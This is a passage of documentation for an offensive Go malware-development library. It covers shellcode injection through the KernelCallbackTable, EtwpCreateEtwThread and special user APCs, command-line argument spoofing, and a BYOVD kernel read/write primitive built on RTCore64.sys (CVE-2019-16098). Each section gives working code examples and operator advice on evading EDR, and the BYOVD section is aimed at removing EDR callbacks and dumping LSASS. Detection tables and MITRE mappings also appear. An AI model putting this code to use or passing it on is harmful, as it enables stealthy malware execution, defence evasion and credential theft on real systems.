    Impl->>Kern: NtWriteVirtualMemory(kctAddress[3] = orig) [restore]

Steps:

  1. Resolve the target's PEB via NtQueryInformationProcess(ProcessBasicInformation).
  2. Allocate / write / protect the shellcode in the target.
  3. Read PEB.KernelCallbackTable to find the table address.
  4. Save the current [3] slot value.
  5. Overwrite [3] with the shellcode address.
  6. Find a window owned by pid (EnumWindows filtered by GetWindowThreadProcessId).
  7. Send WM_COPYDATA to that window.
  8. The kernel dispatches via the modified slot — shellcode runs.
  9. Restore the original [3] value.

API Reference

inject.KernelCallbackExec(pid int, shellcode []byte, caller *wsyscall.Caller) error

godoc

Inject shellcode into pid via the KernelCallbackTable __fnCOPYDATA slot.

Parameters:

  • pid — target with at least one top-level window. Must allow PROCESS_QUERY_INFORMATION, PROCESS_VM_OPERATION, PROCESS_VM_READ, PROCESS_VM_WRITE.
  • shellcode — bytes to execute as the dispatch callback. Must be a function-shaped routine (return cleanly).
  • caller — optional *wsyscall.Caller. Routes Nt calls when non-nil.

Returns: error — wraps NT failures, "no window for PID" when the target has no top-level windows, or restoration errors after the shellcode returns.

Side effects: allocates RX memory in the target. Mutates and restores one entry of the target's KernelCallbackTable. Sends a synthetic WM_COPYDATA to a target window.

OPSEC: the cross-process PEB read + write pair is the strongest signal; the WM_COPYDATA itself is normal IPC.

[!CAUTION] The slot restoration runs after the shellcode returns. Long-running or non-returning shellcode leaves the table corrupted — the next legitimate WM_COPYDATA arrival jumps to whatever the shellcode left in place. Use a small bootstrap stub that returns immediately after detaching the real payload.

Examples

Simple

import "github.com/oioio-space/maldev/inject"

if err := inject.KernelCallbackExec(targetPID, shellcode, nil); err != nil {
    return err
}

Composed (indirect syscalls)

import (
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect,
    wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
return inject.KernelCallbackExec(targetPID, shellcode, caller)

Advanced (evade + KCT inject)

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect,
    wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
_ = evasion.ApplyAll(preset.Stealth(), caller)

return inject.KernelCallbackExec(targetPID, shellcode, caller)

Complex (decrypt + target a UI process + inject + wipe)

import (
    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/inject"
    "github.com/oioio-space/maldev/process/enum"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)

target, err := enum.FindByName("explorer.exe")
if err != nil { return err }

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
if err := inject.KernelCallbackExec(target.PID, shellcode, caller); err != nil {
    return err
}
memory.SecureZero(shellcode)

OPSEC & Detection

ArtefactWhere defenders look
Cross-process write into a target's PEB regionUserland EDR hooks on NtWriteVirtualMemory; kernel ETW-Ti (Microsoft-Windows-Threat-Intelligence) emits WriteVirtualMemory events
Mutation of KernelCallbackTable[3] (__fnCOPYDATA)Behavioural EDR rule (CrowdStrike, MDE) — the slot is rarely modified outside this technique
WM_COPYDATA sent across process boundaries from an unusual senderWindows-event-log heuristics; rare standalone signal
Synthetic WM_COPYDATA to a process whose receiver does not normally accept itApplication-level anomaly (e.g. notepad.exe receiving copy-data)

D3FEND counters:

  • D3-PSA — flags the cross-process PEB read/write pair.
  • D3-PCSV — verifies callback-table slots against image segments.

Hardening for the operator: target a UI-rich process whose message pump runs continuously (explorer.exe, RuntimeBroker.exe); restore the slot before any second message can arrive; pair with ntdll unhooking so the cross-process Nt calls dodge userland hooks.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055.001Process Injection: DLL Injectioncallback-table variant — no CreateThread cross-processD3-PSA

Limitations

  • Target needs a window. Console-only and service processes have no top-level window; KernelCallbackExec returns an error.
  • Slot restoration is best-effort. If the shellcode does not return cleanly, the table stays poisoned and the next legitimate message dispatch crashes the target. Use a stub that returns immediately after detaching the payload.
  • Cross-process write still happens. NtWriteVirtualMemory runs twice (allocation + table mutation). EDR-Ti will see it; pair with unhooking to defeat userland-hook variants only.
  • No PPL targets. PPL processes deny cross-process VM operations.

See also

EtwpCreateEtwThread injection

← injection index · docs/index

TL;DR

Self-injection via the internal ntdll!EtwpCreateEtwThread — ETW's private thread-creation routine. Allocates RX in the current process, writes shellcode, calls the routine with the shellcode address as the start point. Same end result as NtCreateThreadEx, but the underlying call is unexported and rarely hooked. Self-process only.

Primer

ETW (Event Tracing for Windows) maintains its own helper threads for trace-buffer management. Internally ntdll exposes the EtwpCreateEtwThread routine to spawn those helpers. The routine boils down to NtCreateThreadEx with ETW-specific flags and a small trampoline, but it is not exported by name — EDR products that hook NtCreateThreadEx for thread-creation telemetry typically do not also hook the private ETW routine.

The implant resolves EtwpCreateEtwThread by symbol lookup or hashed PEB walk, allocates an RX page in itself, and calls the routine with the shellcode address as the start point. A real OS thread starts at the shellcode — same outcome as CreateThread, far quieter on userland-hook telemetry.

This is self-process only. Cross-process work needs a different primitive.

How it works

flowchart LR
    A[VirtualAlloc RW] --> B[memcpy shellcode]
    B --> C[VirtualProtect → RX]
    C --> D[resolve ntdll!EtwpCreateEtwThread]
    D --> E[invoke EtwpCreateEtwThread<br>start = shellcode]
    E --> F[new OS thread runs shellcode]

Steps:

  1. Allocate / write / protect in the current process (RW → RX).
  2. Resolve ntdll!EtwpCreateEtwThread via GetProcAddress, manual export-table walk, or a hashed PEB walk.
  3. Call the routine with the shellcode address as the start parameter.

The internal routine ends up calling NtCreateThreadEx itself; the kernel's thread-creation telemetry still fires (PsSetCreateThreadNotifyRoutine). What the technique evades is the userland-hook layer that EDR products typically install on the documented CreateThread family.

API Reference

This injection mode is selected via Method. The package does not expose EtwpCreateEtwThread as a top-level helper — drive it through the standard Injector / Builder paths.

Method = MethodEtwpCreateEtwThread

godoc

The constant "etwthr". Self-injection only — Config.PID must be 0 (current process) or unset.

Builder pattern

inj, err := inject.Build().
    Method(inject.MethodEtwpCreateEtwThread).
    IndirectSyscalls().
    Create()

SelfInjector is implemented; the freshly-allocated region is recoverable via InjectedRegion for sleep masking or wiping.

Examples

Simple

import "github.com/oioio-space/maldev/inject"

cfg := inject.DefaultWindowsConfig(inject.MethodEtwpCreateEtwThread, 0)
inj, err := inject.NewWindowsInjector(cfg)
if err != nil { return err }
return inj.Inject(shellcode)

Composed (with SelfInjector for sleep masking)

import (
    "time"

    "github.com/oioio-space/maldev/evasion/sleepmask"
    "github.com/oioio-space/maldev/inject"
)

inj, err := inject.Build().
    Method(inject.MethodEtwpCreateEtwThread).
    IndirectSyscalls().
    Create()
if err != nil { return err }
if err := inj.Inject(shellcode); err != nil { return err }

if self, ok := inj.(inject.SelfInjector); ok {
    if r, ok := self.InjectedRegion(); ok {
        mask := sleepmask.New(sleepmask.Region{Addr: r.Addr, Size: r.Size})
        for {
            mask.Sleep(30 * time.Second)
        }
    }
}

Advanced (decrypt + ETWP inject + sleep mask)

import (
    "time"

    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/evasion/sleepmask"
    "github.com/oioio-space/maldev/inject"
)

_ = evasion.ApplyAll(preset.Stealth(), nil)

shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)

inj, err := inject.Build().
    Method(inject.MethodEtwpCreateEtwThread).
    IndirectSyscalls().
    Create()
if err != nil { return err }
if err := inj.Inject(shellcode); err != nil { return err }
memory.SecureZero(shellcode)

if self, ok := inj.(inject.SelfInjector); ok {
    if r, ok := self.InjectedRegion(); ok {
        mask := sleepmask.New(sleepmask.Region{Addr: r.Addr, Size: r.Size})
        for {
            mask.Sleep(60 * time.Second)
        }
    }
}

Complex

The Pipeline API has no dedicated EtwpCreateEtwThreadExecutor; the named-method path is canonical. To experiment with custom executors, replicate the resolve-and-call snippet from inject/injector_self_windows.go.

OPSEC & Detection

ArtefactWhere defenders look
Userland hooks on NtCreateThreadEx / CreateThreadBypassedEtwpCreateEtwThread is unexported
Kernel PsSetCreateThreadNotifyRoutine callbackStill fires — the kernel sees a normal thread creation
Stack-walking on the new threadThe start address points into a non-image RX region — same orphan signal as CreateRemoteThread
EtwpCreateEtwThread invocation from a non-ETW callerNiche EDR rule — most products do not key on it; mature ETW-aware EDRs (CrowdStrike) do

D3FEND counters:

  • D3-PSA — kernel callback still surfaces the new thread.
  • D3-PCSV — verifies the start address against image segments.

Hardening for the operator: combine with evasion/callstack to fake the call site so stack-walking telemetry does not trivially flag the orphan thread; pair with evasion/sleepmask to encrypt the RX region between activations.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055Process Injectionself-process variant via internal ntdll routineD3-PSA

Limitations

  • Self-process only. The routine starts a thread in the calling process. No PID parameter.
  • Not a kernel-callback bypass. PsSetCreateThreadNotifyRoutine still fires. The technique evades userland-hook telemetry only.
  • Undocumented. EtwpCreateEtwThread is internal to ntdll. Future Windows builds may rename, relocate, or remove it. The package's resolver caches the address; verify after major OS updates.
  • Stack walks still expose orphan threads. Pair with callstack spoofing for thorough coverage.

See also

NtQueueApcThreadEx — special user APC

← injection index · docs/index

TL;DR

Cross-process APC injection that fires immediately at the next kernel-to-user transition, without the target needing to enter an alertable wait. Win10 1903+ only. Allocate / write / protect in the target as usual, then queue the APC with the QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC flag — the kernel delivers it on any thread the next time control returns to user mode.

Primer

Standard QueueUserAPC only fires when the target thread enters an alertable wait (SleepEx, WaitForSingleObjectEx, …). Many real processes never enter alertable waits, so the classic APC technique either silently fails or relies on Early Bird's spawned-suspended trick. Special User APCs, introduced in Windows 10 build 18362 (version 1903), fire on the next kernel-to-user mode transition, regardless of wait state — the kernel forces the APC dispatch.

The flag (1 / QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC) is exposed via the undocumented NtQueueApcThreadEx. Pass it on a thread handle opened with THREAD_SET_CONTEXT, and the kernel inserts a special-APC record that fires on the very next KiUserApcDispatcher return — which happens within microseconds for any actively-running thread.

The package enumerates threads of the target, tries each in turn, and stops at the first successful queue. Falls back to standard QueueUserAPC and then CreateRemoteThread when WithFallback() is set.

How it works

sequenceDiagram
    participant Impl as "Implant"
    participant Kern as "Kernel"
    participant Tgt as "Target"

    Impl->>Kern: OpenProcess(VM_OPERATION | VM_WRITE | VM_READ)
    Kern-->>Impl: hProcess
    Impl->>Kern: NtAllocateVirtualMemory(target, RW)
    Impl->>Kern: NtWriteVirtualMemory(shellcode)
    Impl->>Kern: NtProtectVirtualMemory(target, RX)

    Impl->>Kern: enumerate threads of target
    loop until first success
        Impl->>Kern: NtOpenThread(tid, THREAD_SET_CONTEXT)
        Impl->>Kern: NtQueueApcThreadEx(hThread, FLAG=1, remoteAddr)
    end

    Note over Tgt: next KiUserApcDispatcher return<br>fires the special APC
    Tgt->>Tgt: shellcode runs

Steps:

  1. Open the target with PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ.
  2. Allocate / write / protect in the target.
  3. Enumerate threads via CreateToolhelp32Snapshot (or NtQuerySystemInformation if the caller demands it).
  4. For each thread: open with THREAD_SET_CONTEXT, call NtQueueApcThreadEx(hThread, 1, addr, 0, 0, 0).
  5. First success terminates the loop. The APC fires on the next kernel→user transition.

Standard APC vs special APC

AspectQueueUserAPC (standard)NtQueueApcThreadEx (special)
Alertable wait requiredyesno
Minimum Windows versionXP+10 1903 (build 18362)
API documentationdocumented (kernel32)undocumented (ntdll)
Suspended process requiredtypically (Early Bird)no
Delivery timingwhen thread enters alertable waitnext kernel→user transition
EDR monitoringwell-knownless observed but ETW-Ti emits

API Reference

Method = MethodNtQueueApcThreadEx

godoc

The constant "apcex". Pass to Config.Method or InjectorBuilder.Method.

Builder pattern

inj, err := inject.Build().
    Method(inject.MethodNtQueueApcThreadEx).
    TargetPID(pid).
    IndirectSyscalls().
    WithFallback().
    Create()

inject.NewWindowsInjector(cfg *WindowsConfig) (Injector, error)

godoc

cfg := &inject.WindowsConfig{
    Config:        inject.Config{Method: inject.MethodNtQueueApcThreadEx, PID: pid},
    SyscallMethod: wsyscall.MethodIndirect,
}
inj, err := inject.NewWindowsInjector(cfg)

Examples

Simple

inj, err := inject.Build().
    Method(inject.MethodNtQueueApcThreadEx).
    TargetPID(targetPID).
    Create()
if err != nil { return err }
return inj.Inject(shellcode)

Composed (indirect syscalls + fallback)

inj, err := inject.Build().
    Method(inject.MethodNtQueueApcThreadEx).
    TargetPID(targetPID).
    IndirectSyscalls().
    WithFallback().
    Create()
if err != nil { return err }
return inj.Inject(shellcode)

Advanced (evade + locate target + special APC)

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
    "github.com/oioio-space/maldev/process/enum"
)

_ = evasion.ApplyAll(preset.Stealth(), nil)

procs, err := enum.FindByName("notepad.exe")
if err != nil || len(procs) == 0 {
    return errors.New("target not found")
}

inj, err := inject.Build().
    Method(inject.MethodNtQueueApcThreadEx).
    TargetPID(int(procs[0].PID)).
    IndirectSyscalls().
    Create()
if err != nil { return err }
return inj.Inject(shellcode)

Complex (decrypt + special APC + wipe)

import (
    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
)

_ = evasion.ApplyAll(preset.Stealth(), nil)

shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)

inj, err := inject.Build().
    Method(inject.MethodNtQueueApcThreadEx).
    TargetPID(targetPID).
    IndirectSyscalls().
    WithFallback().
    Create()
if err != nil { return err }
if err := inj.Inject(shellcode); err != nil { return err }
memory.SecureZero(shellcode)

OPSEC & Detection

ArtefactWhere defenders look
Cross-process NtAllocateVirtualMemory + NtWriteVirtualMemoryEDR userland hooks + ETW-Ti
NtQueueApcThreadEx with the special-APC flagETW-Ti (Microsoft-Windows-Threat-Intelligence) emits an ApcQueue event with the flag — newer EDR rules key on it specifically
Multiple consecutive NtOpenThread(THREAD_SET_CONTEXT)Behavioural EDR rule — opening every thread until one succeeds is unusual
APC start address outside any imageEDR memory scanners flag the orphan APC target

D3FEND counters:

  • D3-PSA — APC chain plus orphan start address is a strong signal.
  • D3-PCSV — APC start should match an image.

Hardening for the operator: combine with SectionMapInject or PhantomDLLInject to make the APC start address image-backed; pair with evasion/unhook so the cross-process Nt calls dodge userland hooks.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055.004Process Injection: Asynchronous Procedure Callspecial-APC variant — no alertable waitD3-PSA

Limitations

  • Win10 1903+ only. Older Windows builds lack the special-APC flag. The WithFallback() chain falls through to standard QueueUserAPC then CreateRemoteThread.
  • THREAD_SET_CONTEXT may be denied. Some hardened threads (services with restricted ACLs, PPL processes) refuse the open. The loop keeps trying; if every thread refuses, the inject fails.
  • Cross-process write still happens. The technique avoids the thread-creation event, not the VM-write event.
  • Undocumented flag. Microsoft has not promised stability for the special-APC flag. Verify after major build upgrades.
  • No PPL targets. Cross-process VM operations on PPL are denied.

See also

Process argument spoofing

← injection index · docs/index

TL;DR

Spawn a child in CREATE_SUSPENDED with fake command-line arguments (what EDR/Sysmon records at process creation), then rewrite the PEB's RTL_USER_PROCESS_PARAMETERS.CommandLine UNICODE_STRING to the real arguments before resuming. The process executes with the real args; the audit trail shows the cover args. Not a shellcode injection on its own — a creation-time disguise that pairs with the suspended-child injection techniques.

Primer

Process-creation telemetry on Windows captures the command-line at the moment NtCreateUserProcess runs. Sysmon Event 1 fires; EDRs snapshot the args; the kernel callback PsSetCreateProcessNotifyRoutineEx delivers them. Any monitoring tooling that keys on command-line content sees what the kernel saw at that instant.

Argument spoofing exploits the gap between creation and execution. The implant calls CreateProcessW with CREATE_SUSPENDED and a benign command line (cmd.exe /c dir). The kernel records the benign args. The implant then locates the suspended child's PEB, walks to ProcessParameters → CommandLine (a UNICODE_STRING), and rewrites its Buffer and Length with the real args before ResumeThread. The process now executes with the real command line; the kernel's audit record still says dir.

This is a disguise, not an injection. It is typically paired with MethodEarlyBirdAPC, MethodThreadHijack, or other suspended-child techniques to make the visible command line of the sacrificial child blend in.

How it works

sequenceDiagram
    participant Impl as "Implant"
    participant Kern as "Kernel"
    participant EDR as "EDR / Sysmon"
    participant Child as "Child (suspended)"

    Impl->>Kern: CreateProcess("cmd.exe /c dir", SUSPENDED)
    Kern->>EDR: Event 1: "cmd.exe /c dir"
    Kern-->>Impl: hProcess, hThread
    Kern->>Child: frozen, PEB has fake args

    Impl->>Kern: NtQueryInformationProcess(ProcessBasicInformation)
    Kern-->>Impl: PEB address
    Impl->>Child: ReadProcessMemory(PEB.ProcessParameters)
    Impl->>Child: ReadProcessMemory(.CommandLine UNICODE_STRING)

    Impl->>Child: WriteProcessMemory(CommandLine.Buffer = real args)
    Impl->>Child: WriteProcessMemory(CommandLine.Length = newLen)

    Impl->>Kern: ResumeThread(hThread)
    Child->>Child: runs with real args
    Note over Child,EDR: EDR audit still says "cmd.exe /c dir"

Steps:

  1. CreateProcessW(SUSPENDED, "cmd.exe /c dir") — kernel records the fake args.
  2. NtQueryInformationProcess(ProcessBasicInformation) — get the child's PEB.
  3. ReadProcessMemory at PEB+0x20 (x64) for the RTL_USER_PROCESS_PARAMETERS pointer.
  4. ReadProcessMemory at ProcessParameters+0x70 for the CommandLine UNICODE_STRING.
  5. Encode the real command line as UTF-16LE; WriteProcessMemory into CommandLine.Buffer; update CommandLine.Length.
  6. Caller resumes the thread when ready (or hands the suspended child off to a paired injection technique).

API Reference

inject.SpawnWithSpoofedArgs(exePath, fakeArgs, realArgs string) (*windows.ProcessInformation, error)

godoc

Spawn exePath in CREATE_SUSPENDED with fakeArgs as the visible command line, then rewrite the PEB to realArgs before returning.

Parameters:

  • exePath — full path of the binary to spawn.
  • fakeArgs — command line shown to EDR / Sysmon at process-creation time. Should be benign (cmd.exe /c dir, C:\Windows\System32\notepad.exe AAA.txt).
  • realArgs — actual command line the process will see. Must fit in fakeArgs's allocated buffer (MaximumLength); otherwise the function returns an error.

Returns:

  • *windows.ProcessInformation — the standard Win32 struct with hProcess, hThread, dwProcessId, dwThreadId. The thread is still suspended; caller resumes (or pairs with another injection technique).
  • error — wraps CreateProcessW / NtQueryInformationProcess / ReadProcessMemory / WriteProcessMemory failures, or reports if realArgs exceeds the spawn buffer.

Side effects: spawns a child process. The child is suspended on return — caller owns its lifecycle.

OPSEC: the fake args land in EDR / Sysmon / kernel-callback telemetry; the real args live only in the child's PEB at runtime.

[!IMPORTANT] The spoofed buffer cannot grow beyond what CreateProcessW allocated. Keep fakeArgs long enough to hold realArgs — typically pad with spaces.

Examples

Simple

import "github.com/oioio-space/maldev/inject"

pi, err := inject.SpawnWithSpoofedArgs(
    `C:\Windows\System32\cmd.exe`,
    `cmd.exe /c dir C:\                                        `,
    `cmd.exe /c whoami /priv`,
)
if err != nil { return err }
defer windows.CloseHandle(pi.Process)
defer windows.CloseHandle(pi.Thread)

// caller resumes when ready
_, _ = windows.ResumeThread(pi.Thread)

Composed (spoofed args + Early Bird APC into the same child)

The spoofed-arg child is the perfect host for Early Bird APC: the audit trail says cmd.exe /c dir, but the child runs the implant's shellcode before its own entry point.

pi, err := inject.SpawnWithSpoofedArgs(
    `C:\Windows\System32\cmd.exe`,
    `cmd.exe /c dir C:\                                        `,
    `cmd.exe /c echo benign`,
)
if err != nil { return err }

// Hand the suspended child to the Early Bird path. The package's
// EarlyBirdAPC injector takes a fresh ProcessPath; for an existing
// suspended child, drive the primitives directly:
//   - NtAllocateVirtualMemory(pi.Process, RW)
//   - NtWriteVirtualMemory(shellcode)
//   - NtProtectVirtualMemory(RX)
//   - NtQueueApcThread(pi.Thread, addr)
//   - ResumeThread(pi.Thread)

Advanced (PPID spoof + arg spoof)

Combine with process/spoofparent to also lie about the parent process — the audit trail then shows a plausible parent + plausible args.

import (
    "github.com/oioio-space/maldev/inject"
    "github.com/oioio-space/maldev/process/spoofparent"
)

token, err := spoofparent.AcquireParentToken("services.exe")
if err != nil { return err }
defer token.Close()

return spoofparent.RunAs(token, func() error {
    pi, err := inject.SpawnWithSpoofedArgs(
        `C:\Windows\System32\cmd.exe`,
        `cmd.exe /c dir C:\                                        `,
        `cmd.exe /c whoami /all`,
    )
    if err != nil { return err }
    _, _ = windows.ResumeThread(pi.Thread)
    return nil
})

Complex (full chain: arg spoof + thread hijack + indirect syscalls)

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
_ = evasion.ApplyAll(preset.Stealth(), caller)

pi, err := inject.SpawnWithSpoofedArgs(
    `C:\Windows\System32\cmd.exe`,
    `cmd.exe /c dir C:\                                        `,
    `cmd.exe /c echo benign`,
)
if err != nil { return err }

// Now thread-hijack the spawned child instead of resuming it normally.
// The high-level inject.MethodThreadHijack assumes its own spawn; for
// an existing suspended child, replicate the read CONTEXT → mutate Rip
// → set CONTEXT → resume sequence — see thread-hijack.md.

OPSEC & Detection

ArtefactWhere defenders look
Padded command line at creation timeEDR rules sometimes flag long whitespace runs in cmd.exe args
Cross-process WriteProcessMemory into a freshly-spawned childEDR userland hooks + ETW-Ti WriteVirtualMemory
RTL_USER_PROCESS_PARAMETERS.CommandLine mutation between CreateProcess and ResumeThreadHigh-end EDRs (CrowdStrike, MDE, SentinelOne) compare the live PEB at multiple checkpoints — strong signal when fake ≠ real
Live GetCommandLineW() ≠ EDR-recorded command lineEndpoint scrapers that re-read the PEB after creation catch the lie

D3FEND counters:

  • D3-PSA — multi-checkpoint command-line comparison.
  • D3-EAL — WDAC validates execution but does not prevent the spoof itself.

Hardening for the operator: keep fakeArgs plausible (no obvious padding patterns); pair with PPID spoofing so the child has both a plausible parent and plausible args; route the cross-process Nt calls through indirect syscalls; mind that the high-end EDRs that re-snapshot the PEB beat this technique.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1564.010Hide Artifacts: Process Argument SpoofingPEB rewrite between creation and resumeD3-PSA
T1036.005Masquerading: Match Legitimate Name or Locationcombine with a legitimate exePath for full audit-trail disguiseD3-PSA

Limitations

  • MaximumLength cap. The spoofed buffer cannot grow beyond what CreateProcessW allocated. Pad fakeArgs to leave room.
  • Live PEB scrapers defeat it. EDRs that re-read PEB.ProcessParameters.CommandLine after process creation see the real args. The technique only fools consumers that snapshot at creation time (Sysmon Event 1, basic EDR, kernel callback).
  • Not an injection. SpawnWithSpoofedArgs only rewrites the PEB. Pair with another technique to actually run shellcode in the child.
  • Cross-process write fires. WriteProcessMemory runs twice (CommandLine buffer + length). EDR-Ti will see it.
  • Whitespace padding is fingerprintable. Some EDR rules look for unusually long padding inside command-line strings.

See also

Kernel-mode primitives (kernel/*)

← maldev README · docs/index

The kernel/* package tree exposes userland-callable kernel read/write primitives by abusing signed-but-vulnerable third-party drivers (BYOVD). Userland obtains kernel R/W without loading an unsigned driver — defeats HVCI on hosts older than the 2021-09 vulnerable-driver block-list update.

flowchart LR
    Caller -->|Driver.Install| Lifecycle["NtLoadDriver +<br>SCM CreateService/Start"]
    Lifecycle --> SignedSys["RTCore64.sys (signed)"]
    SignedSys --> IOCTL["IOCTL 0x80002048 / 0x8000204C"]
    IOCTL --> Kernel["arbitrary kernel R/W"]
    Kernel -->|consumed by| KCB["evasion/kcallback"]
    Kernel -->|consumed by| LSASS["credentials/lsassdump"]

Decision tree

Operator questionPackage / page
"I need to wipe a kernel-callback array."evasion/kcallback feeds on this primitive
"I need to dump LSASS bypassing PPL."credentials/lsassdump
"I need a signed BYOVD driver to install."kernel/driver/rtcore64

Per-package pages

  • byovd-rtcore64.md — RTCore64.sys (CVE-2019-16098). Microsoft-attested signed; refused on HVCI hosts ≥ 2021-09 vulnerable-driver block-list.

Common contract

Every concrete BYOVD driver implements three interfaces from the umbrella package:

Sentinel errors: ErrNotImplemented, ErrNotLoaded, ErrPrivilegeRequired (caller lacks SeLoadDriverPrivilege).

MITRE ATT&CK rollup

IDTechniqueOwners
T1014Rootkitkernel/driver, kernel/driver/rtcore64
T1543.003Create or Modify System Process: Windows Serviceservice install path
T1068Exploitation for Privilege EscalationIOCTL R/W primitive

See also

BYOVD — RTCore64 (CVE-2019-16098)

← kernel techniques · docs/index

MITRE ATT&CK: T1014 — Rootkit + T1543.003 — Create or Modify System Process: Windows Service + T1068 — Exploitation for Privilege Escalation Package: kernel/driver/rtcore64 Platform: Windows amd64 Detection: very-noisy during driver load; moderate steady-state


Primer

EDR vendors register kernel-mode callbacks (PsSetCreateProcessNotifyRoutineEx, PsSetCreateThreadNotifyRoutine, PsSetLoadImageNotifyRoutine, …) that receive every process/thread/image-load event. To remove them — or to read kernel structures like EPROCESS.Protection (LSASS PPL) or PspCreateProcessNotifyRoutine[] — userland needs an arbitrary kernel read/write primitive.

BYOVD (Bring Your Own Vulnerable Driver) sidesteps the "unsigned drivers don't load on HVCI" wall by abusing a Microsoft- attested signed driver that itself exposes an unauthenticated arbitrary-r/w IOCTL. RTCore64.sys (MSI Afterburner < 4.6.2.15658) is the canonical target: signed, widely deployed, and its CVE-2019-16098 IOCTLs 0x80002048 (read) and 0x8000204C (write) take a virtual address + length + buffer with no auth.

The 2021-09-02 Microsoft vulnerable-driver block-list update flagged RTCore64 — patched HVCI Win10/11 builds refuse to load it. On unpatched / non-HVCI hosts it still loads and grants kernel read/write to any caller with SeLoadDriverPrivilege.

Package surface

kernel/driver/rtcore64 exposes a Driver type that implements both kernel/driver.ReadWriter and kernel/driver.Lifecycle:

var d rtcore64.Driver
if err := d.Install(); err != nil {       // SCM register + start + open device
    return err
}
defer d.Uninstall()                       // stop + delete + remove dropped binary

buf := make([]byte, 8)
if _, err := d.ReadKernel(0xFFFFF80012345678, buf); err != nil {
    return err                            // IoctlRead at the given VA
}

The Driver shape-satisfies evasion/kcallback.KernelReadWriter, so it plugs straight into kcallback.Enumerate / kcallback.Remove without wrappers.

Lifecycle steps

  1. loadDriverBytes() returns the embedded RTCore64.sys bytes (see Driver binary below).
  2. dropDriver writes the bytes to %WINDIR%\Temp\RTCore64.sys.
  3. installAndStartService registers the driver under SCM as a SERVICE_KERNEL_DRIVER named RTCore64, then calls StartService. ERROR_ACCESS_DENIED is mapped to driver.ErrPrivilegeRequired.
  4. openDevice opens \\.\RTCore64 with GENERIC_READ | GENERIC_WRITE.
  5. ReadKernel / WriteKernel issue DeviceIoControl against that handle. Transfers cap at MaxPrimitiveBytes = 4096 per IOCTL — larger reads/writes loop in the caller, since RTCore64's pool transfers are unstable above one page.
  6. Uninstall closes the handle, stops + deletes the service, and removes the dropped file. Best-effort: every step runs even if earlier ones failed.

Driver binary

The package ships without the signed RTCore64.sys binary by default — building with the default tag set yields ErrDriverBytesMissing from Install(). To enable real BYOVD operations:

  1. Obtain RTCore64.sys (any version ≤ 4.6.2.15658). Verify the signature chain via signtool verify /v /a — the leaf cert must chain to Microsoft Windows Hardware Compatibility Publisher.

  2. Drop a sibling file kernel/driver/rtcore64/embed_byovd_rtcore64_windows.go that overrides loadDriverBytes():

    //go:build windows && byovd_rtcore64
    
    package rtcore64
    
    import _ "embed"
    
    //go:embed RTCore64.sys
    var rtcoreBytes []byte
    
    func loadDriverBytes() ([]byte, error) { return rtcoreBytes, nil }
    
  3. Build with go build -tags=byovd_rtcore64. The resulting binary embeds the signed driver; default builds don't.

This split keeps the open-source repo free of MSI's licensed binary while still shipping every other piece of the BYOVD chain — the service-install plumbing, IOCTL wrappers, and lifecycle management all live in source-tree code.

Advanced — looping reads beyond the per-IOCTL cap

A single IOCTL caps at MaxPrimitiveBytes (4096 bytes). Larger reads loop in the caller — the driver's pool-buffer transfer is unstable above one page:

package main

import (
	"fmt"

	"github.com/oioio-space/maldev/kernel/driver"
	"github.com/oioio-space/maldev/kernel/driver/rtcore64"
)

// readKernel issues IOCTLs in <=MaxPrimitiveBytes chunks and concatenates
// the results. Bails on the first error so the caller can decide whether
// to retry from the partial offset.
func readKernel(rw driver.Reader, addr uintptr, size int) ([]byte, error) {
	out := make([]byte, 0, size)
	for off := 0; off < size; {
		chunk := size - off
		if chunk > rtcore64.MaxPrimitiveBytes {
			chunk = rtcore64.MaxPrimitiveBytes
		}
		buf := make([]byte, chunk)
		n, err := rw.ReadKernel(addr+uintptr(off), buf)
		if err != nil {
			return out, fmt.Errorf("read @0x%X (off=%d): %w", addr+uintptr(off), off, err)
		}
		out = append(out, buf[:n]...)
		off += n
	}
	return out, nil
}

func main() {
	var d rtcore64.Driver
	if err := d.Install(); err != nil { panic(err) }
	defer d.Uninstall()

	// Read 32 KiB starting at some kernel VA — 8 IOCTLs under the hood.
	bytes, err := readKernel(&d, 0xFFFFF80012345000, 32*1024)
	fmt.Printf("read=%d err=%v\n", len(bytes), err)
}

Composed — RTCore64 + kcallback enumeration + selective Remove

